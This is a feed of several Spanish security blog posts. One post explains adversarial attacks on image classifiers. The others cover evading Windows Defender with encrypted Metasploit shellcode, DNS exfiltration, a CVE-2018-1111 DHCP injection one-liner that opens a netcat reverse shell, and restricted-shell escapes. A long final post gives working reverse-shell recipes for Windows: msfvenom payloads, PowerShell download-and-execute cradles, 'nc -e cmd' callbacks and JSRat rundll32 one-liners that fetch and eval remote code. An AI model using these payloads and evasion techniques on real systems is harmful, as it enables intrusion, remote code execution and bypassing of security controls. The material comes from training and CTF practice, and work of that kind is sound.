Quantcast
Channel: hackplayers
Viewing all 1668 articles
Browse latest View live

Atacando redes neuronales (ataques adversarios)

$
0
0
Una Red Neuronal Artificial (RNA) es un modelo matemático inspirado en el comportamiento biológico de las neuronas y en cómo se organizan formando la estructura del cerebro.

Últimamente están en auge, incorporándose a gran numero de aplicaciones, encomendándoles funciones tales como el reconocimiento facial, la conducción de vehículos autónomos de una manera muy óptima.

Esto abre una gran incógnita en mi biológicay retorcidared neuronal...O_o

¿Podemos hackear estos sistemas conexionistas?

Basta con navegar un poco por Internet para responder lo que en nuestras mentes era un si.

Hoy os propongo un ejercicio sencillo para salir de dudas, siempre desde la práctica.

El objetivo para nuestro pequeño lab : crear un una app de visión artificial, capaz de reconocer el objeto que contenga la foto que le pasemos..(un modelo pre-entrenado de Inception-v3)

Inception-v3 es un modelo de red neuronal convolucional que está capacitado para el gran desafío de Reconocimiento Visual con los datos de ImageNet 2012.

Es un estándar en visión artificial, donde los modelos intentan clasificar imágenes completas en 1000 clases , como "Zebra", "Dálmata" y "Lavavajillas". 
Por ejemplo, aquí están los resultados de AlexNet clasificando algunas imágenes:
 

Montando nuestra app de vision artificial: 

Para montar nuestra pequeña app, será necesario montar un entorno de desarrollo para python.

Para los que utilicéis windows podéis seguir este tuto (estoy estudiando programación multiplataforma por lo que he salido de mi fundamentalismo de Linux a la fuerza).

Para los que queréis seguir este ejemplo en Linux basta con sudo apt install python3.6

Otra buena manera de conseguir nuestro entorno, para las dos plataformas; es instalar la Suite de Anaconda que nos facilitará la tarea de instalar el ambiente e incluirá las Jupyter Notebooks, que nos ayudará a hacer ejercicios en futuros tutoriales de Machine Learning.

Esta Suite es multiplataforma y se puede utilizar para Windows, Linux y Macintosh.

Instalar Librerías para Deep Learning:

pip install scikit-learn
pip install virtualenv
pip install h5py==2.8.0rc1
pip install tensorflow
pip install keras

Desde anaconda:

conda update conda
conda update anaconda
conda update scikit-learn
conda install -c conda-forge tensorflow

Listo...

El funcionamiento de nuestra pequeña app lo describo en los comentarios del código, por favor si algo no queda claro, ser libres de preguntar.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#importo librerias sys y argparse

import sys
import argparse

# preparo lo que va a ser la linea de comando y argumentos de este

parser = argparse.ArgumentParser()
print("")
print("MOK 2018 hackplayers........enjoy :P")
parser.add_argument("-v", "--verbose", help="Mostrar información de depuración", action="store_true")
parser.add_argument("-f", "--file", help="Nombre de archivo a procesar")
args = parser.parse_args()

# Aquí procesamos lo que se tiene que hacer con cada argumento

if args.verbose:
print ("depuración activada!!!")

if args.file:
print ("Procesando archivo..... "), args.file

# si el comando no tiene ruta hacia la imagen exit

else:
print("debes indicar ruta archivo de imagen")
sys.exit()
pass

# importo librerias tensorflow como tfw y keras

import tensorflow as tfw
import keras
from keras.applications.inception_v3 import InceptionV3, decode_predictions
from keras import backend
from keras.preprocessing import image

#acondiciono el tamaño de la imagen para ict3 la cargo desde la ruta del agumento de linea de comandos y la meto en un array en la variable x

x= image.img_to_array(image.load_img(args.file , target_size=(299,299)))

#acondiciono x segun las indicaciones de tensorflow para poder trabajar con ella

x/=255
x-=0.5
x*=2

#añado otro parametro a la matriz para albelgar el tensor segun la documentacion

x =x.reshape([1, x.shape[0], x.shape[1], x.shape[2]])

#cargo el modelo preentrenado de ict3 si no esta en el ordenador se descargara

ict3 = InceptionV3()

y= ict3.predict(x)

#imprimo por pantalla resultado de la predición

print(decode_predictions(y))

Para lanzar el script basta con pasarle el un argumento, la ruta absoluta de la imagen que queremos que mire...

python iaredneu.py -f /home/manuel/Imágenes/perro.jpeg

En mi caso le paso esta foto de un lindo cachorrito:

 
La primera vez que ejecutamos el script nos instalará el modelo pre-entrenado si no lo tenemos...


Echándole un ojo al resultado del script nos damos cuenta que funciona alas mil maravillas incluso acertando la raza del perro.


(si no lo curráramos un poquito tendríamos una red neuronal capaz de clasificar nuestras fotos según su contenido).

Pero que si cambiamos la imagen por esta:


Nuestra red neuronal tiene bastante claro de que se trata de una útil tostadora en vez de nuestro bonito golden:


¿A qué se debe esto?

Los ataques adversarios son entradas para los modelos de aprendizaje automático que un atacante ha diseñado intencionalmente para provocar que el modelo cometa un error; son como ilusiones ópticas para máquinas.

Y por lo tanto algo muy peligroso una bonita mañana, en la que vas con tu coche autónomo y de repente te encuentras una señal de stop ligeramente modificada.


Da escalofrios pensar que tu coche pueda tomar una señal de stop por una de limite de velocidad 65km/h

Desde luego ya van saliendo medidas de seguridad para minimizar este vector de ataque....pero aun queda mucho trabajo por hacer.

Bueno visto el tema, más o menos toca la práctica, la cual creo que voy a emplazar a una nueva entrada para que no os canséis de mí.

En el siguiente post veremos como generar un ataque para confundir a nuestra pequeña app....

un saludo y no olviden supervitaminarse y mineralizarse!!!!!!

Cómo seguir usando el shellcode de Metasploit y no morir en el intento (o ser matado por los AVs)

$
0
0
Como sabéis, el shellcode de Metasploit es muy pequeño por varias razones tácticas. Sin embargo esto hace también más difícil mejorarlo, y todos los antivirus lo tienen "a fuego" clasificado como malicioso. Wei Chen de Rapid7 le ha dado un par de vueltas a las posibilidades que existen para seguir usando el shellcode de Metasploit pero sin que sea detectado por los AVs más populares. Veamos...

Machine Learning

La mayoría de los motores de antivirus modernos funcionan con machine learning (en adelante ML), y este ha sido un gran cambio en el juego de la evasión AV. Los motores de AV no solo son mucho más inteligentes para detectar amenazas potenciales, sino que también responden mucho más rápido. Tan pronto como el comportamiento de su código tenga un aspecto demasiado malicioso, que puede ser tan simple como usar la API de Windows incorrecta (como WriteProcessMemory o incluso VirtualAlloc), uno de los controles de IA lo obtendrá y se acabó el juego. Además, los investigadores de malware obtienen rápido la copia del código, por lo que la evasión se presenta cada vez más y más difícil.

Windows Defender no es una excepción e implementa un cliente de ML que se ejecuta localmente en cada máquina. Las clasificaciones, como las firmas tradicionales, la detección de comportamiento, los genéricos, la heurística, etc. recogen el 97% del malware en el cliente según Microsoft. Usando estos clasificadores, el cliente de ML también recopila "características" del programa, lo que significa datos medibles o características del objeto escaneado. Con todo ésto y según su modelo de árbol de decisión toma un veredicto, y si no puede llegar a un uno definitivo, utiliza un servicio en la nube para un análisis más profundo.

Antimalware Scan Interface

Antimalware Scan Interface (AMSI) es una interfaz de programación creada por Microsoft que permite que cualquier aplicación de Windows aproveche el motor de Windows Defender y escanee en busca de entradas maliciosas, lo que hace que la evasión AV sea aún más difícil.

Esto es muy útil por ejemplo en Powershell, ya que los antivirus no hacen un gran trabajo al verificarlo en comparación con un ejecutable tradicional. También puede pasar una línea de código de Powershell como argumento para Powershell.exe, lo que es bastante sigiloso porque técnicamente no está tocando el disco. Por ejemplo:
powershell.exe -command "Write-Output [Convert]::FromBase64String('SGVsbG8gV29ybGQh')"

El ejecutar esa línea de comando, Powershell realmente llama a la función AmsiScanBuffer para preguntar a Windows Defender si el código proporcionado por el usuario es malicioso o no:


Como veis, Powershell se está utilizando cada vez más por lo atacantes y los analistas están tomando las medidas oportunas para protegerse. La AMSI ofrece a todas las aplicaciones de Windows la posibilidad de beneficiarse de las capacidades de Windows Defender, lo que hace que sea más difícil abusar de los lenguajes de scripting como Powershell.

Cifrado

Pero no todo está perdido... A pesar de todas las tecnologías con las que Windows Defender está equipado, no deja de tener algunos puntos ciegos. Por ejemplo, el cifrado es una de esas cosas que anulan el escaneo estático del antivirus de manera efectiva, porque el motor AV no puede descifrarlo de inmediato. Actualmente, hay algunos algoritmos de cifrado que admite msfvenom para proteger eñ shellcode: AES256-CBC, RC4, Base64 y XOR.
ruby ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c

El comando anterior genera un payload windows/meterpreter/reverse_tcp cifrado con RC4. También se genera en formato C, para que se pueda construir su propio cargador en C/C ++.

Pero, aunque el antivirus no es bueno para escanear el shellcode cifrado de forma estática, la monitorización en tiempo de ejecución sigue siendo una sólida línea de defensa. Es fácil quedarse atrapado después de descifrarlo y ejecutarlo.

Separación

La detección en tiempo de ejecución es realmente difícil de engañar, porque al final, se debe ejecutar el código. Una vez que se ejecuta, el antivirus registra todos los movimientos y finalmente determina si es un malware. Sin embargo, esto parece ser un problema menor si puede separar el loader del payload en diferentes espacios de proceso.

Por ejemplo, se puede descifrar el shellcode perfectamente, pero tan pronto como se intenta ejecutar (todavía en memoria) desde un puntero de función como este, el AV lo detecta:
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();

Sin embargo, si se separa la última línea, los problemas desaparecen:
(int)(*func)();

Esto parece significar que, por lo general, está bien tener un código malicioso en memoria siempre que no lo ejecutes. El análisis en tiempo de ejecución probablemente depende mucho de qué código se ejecuta realmente; le importa menos lo que el programa podría hacer potencialmente. Esto tiene sentido, por supuesto. Si lo hace, la penalización de rendimiento sería demasiado alta.

Entonces, en lugar de usar un puntero de función, lo que hizo Wei Chen es usar LoadLibrary para resolver el problema con el loader:
#include <iostream>
#include <Windows.h>

int main(void) {
  HMODULE hMod = LoadLibrary("shellcode.dll");
  if (hMod == nullptr) {
    cout << "Failed to load shellcode.dll"<< endl;
  }

  return 0;
}

Demo

La siguiente es una demostración que combina todas las técnicas descritas anteriormente:



Fuente: Hiding Metasploit Shellcode to Evade Windows Defender

DNSBin (ResquestBin.NET): ex-filtración de datos sobre DNS, sin tener que configurar ningún servidor DNS!

$
0
0
En una intrusión cuando encontramos una vulnerabilidad ciega (RCE, XXE, SQLi, etc.) para ex-filtrar información necesitamos de una conexión saliente. Sin embargo (al menos en entornos corporativos) estas conexiones suelen estar filtradas mediante firewalls y/o proxies. En tales casos y en muchas ocasiones se puede usar el protocolo DNS para filtrar datos puesto que las empresas no son tan restrictivas a la hora de limitar las consultas de resolución de nombres. Total... qué puede hacer una simple consulta DNS? };-)

Para conseguir recibir la información de las consultas DNS, el atacante tendrá que configurar un registro NS en un dominio y montar un servidor que esté a la "escucha" de las peticiones al puerto 53/UDP. Esto puede ser tedioso y más cuando se va a realizar sólo una prueba puntual o en una plataforma de training. Sin embargo, existe un portal en Internet llamado RequestBin.NET que no requiere ni registro ni autenticación y que en sólo unos segundos nos permite crear un servicio HTTP (HTTPBin) o DNS (DNSBin) para hacer este tipo de pruebas rápidamente.

En el caso de DNSBin que es el que no atañe en esta entra, se proporciona un subdominio que recopilará las solicitudes realizadas a través del protocolo dns y permite inspeccionarlos de una manera amigable. Sólo tenemos que pulsar el botón"Create a DNSBin"y se generará un subdominio para probar, por ej. *.09b38436c855d48a8912.d.requestbin.net:



Así que si hacemos una simple consulta veremos el resultado inmediatamente:


Evidentemente yo no usaría esta web en una auditoría para un cliente puesto que está en un servidor de terceros y no tenemos control sobre los logs, pero como decía puede ser bastante útil para training y, por qué no, para un atacante malintencionado que quiere ex-filtrar datos sin tener que montar una infraestructura, facilitándole así mucho el anonimato.

Pero hay más... podríamos montar también esta plataforma en nuestro propio servidor ya que la herramienta dnsbin es de código abierto:

https://github.com/HoLyVieR/dnsbin

Además, si os habéis fijado en la primera imagen de esta entrada, tenéis los comandos para enviar y recibir texto y ficheros con el cliente Python dnsbinclient.py. ¿Se puede pedir más?

Vulnerabilidad crítica de RCE en los clientes DHCP de RHEL 6 y 7 (CVE-2018-1111)

$
0
0
Un investigador de Google descubrió recientemente una vulnerabilidad crítica en un script incluido en los paquetes del cliente DHCP (dhclient) en Red Hat Enterprise Linux 6 y 7. La vulnerabilidad, bautizada con el CVE-2018-1111, podría permitir a un atacante ejecutar comandos arbitrarios con privilegios de root en los sistemas afectados.

Los scripts en concreto son los del componente NetworkManager /etc/NetworkManager/dispatcher.d/11-dhclient (en RHEL 7) y /etc/NetworkManager/dispatcher.d/10-dhclient (en RHEL 6), que se ejecutan cada vez que NetworkManager recibe una respuesta DHCP de un servidor DHCP. Y lo peor (o lo mejor según se mire) el PoC de su explotación cabe hasta en un tweet:

https://twitter.com/Barknkilic/status/996470756283486209

dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

Podéis imaginar que un servidor DHCP malicioso, o un atacante en la red local capaz de falsificar respuestas DHCP, podría usar este bug para ejecutar comandos arbitrarios con privilegios de root en los sistemas que usan NetworkManager para obtener la configuración de red utilizando el protocolo DHCP. Así que a todos los clientes de Red Hat... ¡toca actualizar!

Fuente: https://access.redhat.com/security/vulnerabilities/3442151

Reto 25: born2root warm up

$
0
0
Ya lo veníamos anunciando hace unas horas en nuestras redes sociales: César Calderón aka @_stuxnet ha preparado un reto de tipo boot2root, es decir, una máquina que debemos vulnerar para conseguir las flags de usuario (user.txt) y root (root.txt) y que podemos descargar ya desde:

https://drive.google.com/file/d/1nyJrnc5_lJMHa4-5yGqkaLLaCvPNZl42/view?usp=sharing

Y, como os decíamos también, el primero en conseguir la flag de root.txt, a parte de entrar en nuestro eterno hall de la fama, ganará el siguiente premio:

- una entrada para la conferencia EastMadH4ck que tendrá lugar en Arganda (Madrid) el próximo 26 de mayo y donde yo y kaoRz impartiremos un taller de pentesting precisamente orientado a resolver este tipo de retos boot2root.
- una camiseta y un welcome pack de la conferencia de Hackplayers (h-c0n) que tuvo lugar el pasado 2 y 3 de febrero y que, esperamos, se reedite con más fuerza si cabe el año siguiente.

La única condición para conseguir el premio, a parte de ser el primero por supuesto, es que el ganador ha de personarse el día 26 en la conferencia EastMadH4ck, de lo contrario el premio pasará al siguiente en mandarnos la flag y así sucesivamente.

La flag junto con el writeup correspondiente ha de enviarse a la dirección de correo hackplayers_at_ymail (Ymail con "y" griega).

Agradecimientos a César y ánimo que la máquina es de nivel fácil (4/10 según su autor)!!

Técnicas para escapar de shells restringidas (restricted shells bypassing)

$
0
0
Recientemente, @n4ckhcker y @h4d3sw0rmen publicaron en exploit-db un breve pero útil paper para escapar de shells restringidas como rbash, rksh y rsh, ya sabéis, aquellas que bloquean algunos de comandos como cd, ls, echo, etc., restringen variables de entorno como SHELL, PATH, USER y a veces incluso comandos con / o las salidas de redireccionamiento como >, >>; todo ello para añadir una capa extra de seguridad para protegerse contra posibles atacantes, comandos peligrosos o simplemente como una prueba en un CTF. A continuación se listan la mayoría de las técnicas para bypassear estas shells restringidas:

Enumeración 
1) Primero debemos verificar si se pueden ejecutar comandos como cd/ls/echo, etc.
2) Debemos verificar si podemos usar operadores como >, >>, <, |.
3) Necesitamos verificar si están disponibles lenguajes de programación disponibles como perl, ruby, python, etc.
4) Qué comandos podemos ejecutar como root (sudo -l).
5) Comprobar si hay archivos o comandos con SUID.
6) Hay que verificar en qué shell estamos: echo $SHELL (normalmente en rbash)
7) Verificar las variables de entorno: ejecutar env o printenv

Técnicas de explotación normales
1) si "/" está permitido se puede ejecutar /bin/sh o /bin/bash.
2) si podemos ejecutar el comando cp podemos copiar /bin/sh o /bin/bash en el directorio.
3) ftp > !/bin/sh o !/bin/bash
4) gdb > !/bin/sh o !/bin/bash
5) more/man/less > !/bin/sh o !/bin/bash
6) vim > !/bin/sh o !/bin/bash
7) rvim > :python import os; os.system("/bin/bash )
8) scp > scp -S /path/yourscript x y:
9) awk > awk 'BEGIN {system("/bin/sh o /bin/bash")}'
10) find > find / -name test -exec /bin/sh o /bin/bash \;

Técnicas de lenguajes de programación
1) except > except spawn sh then sh.
2) python > python -c 'import os; os.system("/bin/sh")'
3) php > php -a then exec("sh -i");
4) perl > perl -e 'exec "/bin/sh";'
5) lua > os.execute('/bin/sh').
6) ruby > exec "/bin/sh"

Técnicas avanzadas:
1) ssh > ssh username@IP -t "/bin/sh" or "/bin/bash"
2) ssh2 > ssh username@IP -t "bash --noprofile"
3) ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
4) ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh"127.0.0.1 (SUID)
5) git > git help status > luego puedes ejecutar !/bin/bash
6) pico > pico -s "/bin/bash" luego puedes escribir /bin/bash y pulsar CTRL + T
7) zip > zip /tmp/test.zip /tmp/test -T --unzip -command="sh -c /bin/bash"
8) tar > tar cf /dev/null testfile --checkpoint=1 --checkpoint -action=exec=/bin/bash

Prácticas y labs:
- https://www.root-me.org/en/Challenges/App-Script/Restricted-shells
- https://blog.mallardlabs.com/hackthebox-solidstate-writeup/
- http://blog.dornea.nu/2016/06/20/ringzer0-ctf-jail-escaping-bash/

Más info:
- https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
- https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells
- https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
- https://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/
- http://securebean.blogspot.com.es/2014/05/escaping-restricted-shell_3.html
- http://ud64.com/ask/61/escaping-bypass-from-jail-restricted-linux-shells

Colección de herramientas y técnicas para obtener shells reversas en Windows

$
0
0
En CTFs y/o plataformas de training la mayoría de las máquinas que encontramos son Linux y cuando conseguimos explotar una vulnerabilidad que nos permite ejecución remota de comandos el siguiente paso normalmente es obtener una shell reversa.

Sin embargo, en escenarios reales el porcentaje de máquinas con respecto a Windows se equipara o, al menos, se incrementa drásticamente el número de servidores al que tenemos que enfrentarnos. Por eso, también es muy importante tener un buen compendio de herramientas y técnicas para obtener shells reversas en Windows. Aquí os dejo un breve pero intenso resumen de la mayoría que he ido encontrando y que veremos (entre las más de 400 slides!) que tenemos preparados para el taller que impartiremos el próximo sábado en la Eastmadh4ck:

MsfVenom

Es el generador de payloads de Metasploit de facto. Ya sabéis, el reemplazo de msfpayload y msfencode y probablemente el más utilizado.
Por ejemplo, generamos el código para una shell reversa en aspx.
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f aspx > shell.aspx
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of aspx file: 2749 bytes

La subimos al servidor:
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
200 PORT command successful.
2785 bytes sent in 0.00 secs (20.2747 MB/s)

Ponemos el multihandler a la escucha:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.10.14.4
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 10.10.14.4:4444
[*] Starting the payload handler...

Y al abrir el enlace...
http://10.10.10.5/shell.aspx

Obtenemos la shell correspondiente:
[*] Sending stage (956991 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.5:49157) at 2017-11-25 meterpreter > sysinfo
Computer        : DEVEL
OS              : Windows 7 (Build 7600).
Architecture    : x86
System Language : el_GR
Domain          : HTB
Logged On Users : 0
Meterpreter     : x86/windows

Metasploit Web Delivery

El Web Delivery de Metasploit es un módulo muy versátil que crea un servidor en la máquina del atacante que aloja el payload seleccionado. Digamos que nos ahorra realizar varios pasos de forma manual y es muy cómodo porque nos devuelve el comando de una sóla línea que debemos ejecutar en la víctima. Veamos por ejemplo un payload en powershell:
use exploit/multi/script/web_delivery
set TARGET 2 (powershell)
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set URIPATH update
set LHOST 10.10.14.15
set LPORT 8082
exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.15:8082
[*] Using URL: http://0.0.0.0:8081/update
[*] Local IP: http://10.10.14.15:8081/update
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://10.10.14.15:8081/update');

msf exploit(multi/script/web_delivery) > [*] 10.10.10.9       web_delivery - Delivering Payload
[*] Sending stage (205891 bytes) to 10.10.10.9
[*] Meterpreter session 1 opened (10.10.14.15:8082 -> 10.10.10.9:49618) at 2018-01-11 11:04:41 +0100

msf exploit(multi/script/web_delivery) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  NT AUTHORITY\IUSR @ BASTARD  10.10.14.15:8082 -> 10.10.10.9:49618 (10.10.10.9)

Netcat en Windows

No podía faltar en este menú un clásico como la navaja suiza netcat, esta vez compilado y listo para ejecutar en Windows (los tenemos para 32 y para 64 bits):
# wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
# unzip netcat-win32-1.12.zip
# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.10.9 - - [24/Jan/2018 01:14:27] "GET /nc64.exe HTTP/1.0" 200 -http://10.10.10.9/myshell.php?fupload=nc64.exe

http://10.10.10.9/myshell.php?fexec=nc64.exe -e cmd 10.10.14.5 8081

root@kali:~/bastard# nc -lvp 8081
listening on [any] 8081 ...
10.10.10.9: inverse host lookup failed: Unknown host
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.9] 49182
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\inetpub\drupal-7.54>whoami
whoami
nt authority\iusr

Metasploit también tiene un módulo de post-explotación muy cómodo que nos permitirá llevar la sesión de Netcat a una de meterpreter:

Atacante:
 Opción 1: Use the sessions -u [session id]command.
 Opción 2: Use the post/multi/manage/shell_to_meterpreter to upgrade the shell.


PowerSploit Invoke-Shellcode.ps1

PowerSploit es una colección de módulos y scripts ofensivos en PowerShell y dentro de la misma tenemos Invoke-Shellcode con el que podemos inyectar un shellcode en el ID del proceso que elijamos o dentro de PowerShell de forma local:

Atacante:
cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 > payload
echo “Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.252.1 -Lport 443 -Force” >> payload
python -m SimpleHTTPServer (http://192.168.1.112:8000/payload)

Servidor:
iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')

Codificado:
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc aQBlAHgAIAAoAE4 ... BjBkACcAKQAKAA==

Empire

Empire es un agente de post-explotación en PowerShell y Python con una arquitectura muy flexible. Empire implementa la capacidad de ejecutar agentes PowerShell sin necesidad de powershell.exe, módulos de post-explotación de rápida implementación que van desde keyloggers hasta Mimikatz, y comunicaciones adaptables para evadir la detección en redes, todo envuelto en un marco enfocado en la usabilidad.


(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host 10.10.15.73
(Empire: listeners/http) > set Port 8888
(Empire: listeners/http) > execute
[*] Starting listener 'http'
l[+] Listener successfully started!
(Empire: listeners/http) > listeners

[*] Active listeners:

  Name              Module          Host                                 Delay/Jitter   KillDate
  ----              ------          ----                                 ------------   --------
  http              http            http://10.10.15.73:80                5/0.0


(Empire: stager/windows/launcher_bat) > set Listener http
(Empire: stager/windows/launcher_bat) > execute

[*] Stager output written out to: /tmp/launcher.bat



Hackplayers mod: https://github.com/Hackplayers/Empire-mod-Hackplayers

Empire GUI


StarFighter


Veil Evasion

Veil-Evasion es una herramienta diseñada para generar payloads de metasploit que sean capaces de evadir la mayoría de las soluciones de antivirus.


list
24 (powershell/meterpreter/rev_tcp)
 [powershell/meterpreter/rev_tcp>>]: set LHOST 10.10.14.3
generate
 [>] Please enter the base name for output files (default is 'payload'):

 Language:        powershell
 Payload:        powershell/meterpreter/rev_tcp
 Required Options:      LHOST=10.10.14.3  LPORT=4444
 Payload File:        /usr/share/veil-output/source/payload.bat
 Handler File:        /usr/share/veil-output/handlers/payload_handler.rc

 [*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! ;)

msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.3:4444

[*] Sending stage (179779 bytes) to 10.10.10.11
[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.10.10.11:55194) at 2018-01-02 01:47:57 +0100

meterpreter >
meterpreter > getuid
Server username: ARCTIC\tolis

meterpreter > sysinfo
Computer        : ARCTIC
OS              : Windows 2008 R2 (Build 7600).
Architecture    : x64
System Language : el_GR
Domain          : HTB
Logged On Users : 1
Meterpreter     : x86/windows

Phantom Evasion

Herramienta de evasión de AV escrita en Python capaz de generar ejecutables FUD incluso desde los payloads de metasploit de 32 bits más comunes (exe/elf/dmg/apk)


Impacket smbserver

Impacket realmente es una colección de clases de Python para trabajar con protocolos de red, de hecho es capaz de implementarlos como por ejemplo un servidor SMB en donde podamos alojar nuestros payloads:

/impacket/examples# ./smbserver.py SHARE ./SHARE/


Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (windows/x64/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(multi/handler) > set Lhost 10.10.14.189
Lhost => 10.10.14.189
msf exploit(multi/handler) > set lport 80
lport => 80
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.189:80


WEBSHELL:
http://10.10.10.81/internal-01/log/sapo.php?c=//10.10.14.102/SHARE/test.exe

SMBSERVER:
[*] Incoming connection (10.10.10.81,55355)
[*] AUTHENTICATE_MESSAGE (\,BART)
[*] User \BART authenticated successfully
[*] :::00::4141414141414141
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[*] AUTHENTICATE_MESSAGE (\,BART)
[*] User \BART authenticated successfully
[*] :::00::4141414141414141
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(3:TEST)

msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.102:8081
[*] Sending stage (205891 bytes) to 10.10.10.81
[*] Meterpreter session 1 opened (10.10.14.102:8081 -> 10.10.10.81:56272) at 2018-04-24 23:06:24 +0200

meterpreter > ls
Listing: C:\inetpub\wwwroot\internal-01\log
===========================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   0      dir   2018-02-21 20:44:08 +0100  Microsoft
100666/rw-rw-rw-  1112   fil   2018-04-24 18:37:25 +0200  apple.php
40777/rwxrwxrwx   4096   dir   2018-04-24 22:07:34 +0200  exploit
100666/rw-rw-rw-  1524   fil   2018-04-24 22:51:51 +0200  log.php
100666/rw-rw-rw-  101    fil   2018-02-21 20:35:17 +0100  log.txt
100666/rw-rw-rw-  201    fil   2018-04-24 20:51:22 +0200  lol.php
100666/rw-rw-rw-  1112   fil   2018-04-24 18:37:25 +0200  mac.php
100777/rwxrwxrwx  0      fil   2018-04-24 21:12:27 +0200  mysql.exe
100777/rwxrwxrwx  38616  fil   2018-04-24 20:51:31 +0200  nc.exe
100666/rw-rw-rw-  30     fil   2018-04-24 22:51:51 +0200  sapo.php
100666/rw-rw-rw-  21     fil   2018-04-24 22:51:51 +0200  sapo2.php
100666/rw-rw-rw-  116    fil   2018-04-24 20:45:02 +0200  shell69.php
100666/rw-rw-rw-  381    fil   2018-04-24 18:37:18 +0200  tmp1.php

meterpreter > getuid
Server username: NT AUTHORITY\IUSR

Unicorn

Ataques nativos de inyección con powershell en cualquier plataforma de Windows x86:


python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
# cat unicorn.rc
use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.5
set LPORT 443
set ExitOnSession false
set EnableStageEncoding true
exploit -j
# msfconsole -r unicorn.rc


jsrat.ps1

Simple js shell reversa a través de rundll32 (@subTee):
rund32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.open("GET","http://192.168.174.131/connect",false);h.Send();B=h.ResponseText;eval(B):

Ejecutar como admin:
powershell.exe -ExecutionPolicy Bypass -File c:\test\JSRat.ps1
  

Cliente: 
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

JSRat.py 

Implementación de JSRat en python por Hood3dRob1n, multiplataforma y que permite usar rundll32 o regsvr32: 

Servidor (atacante):

1-Interactive mode
   python MyJSRat.py -i 192.168.1.101 -p 8080

2-Command mode
  python MyJSRat.py -i 192.168.1.101 -p 8080 -c "whoami"
 

Cliente (Victima Windows box):

Uso del método rundll32 para invocar al cliente:
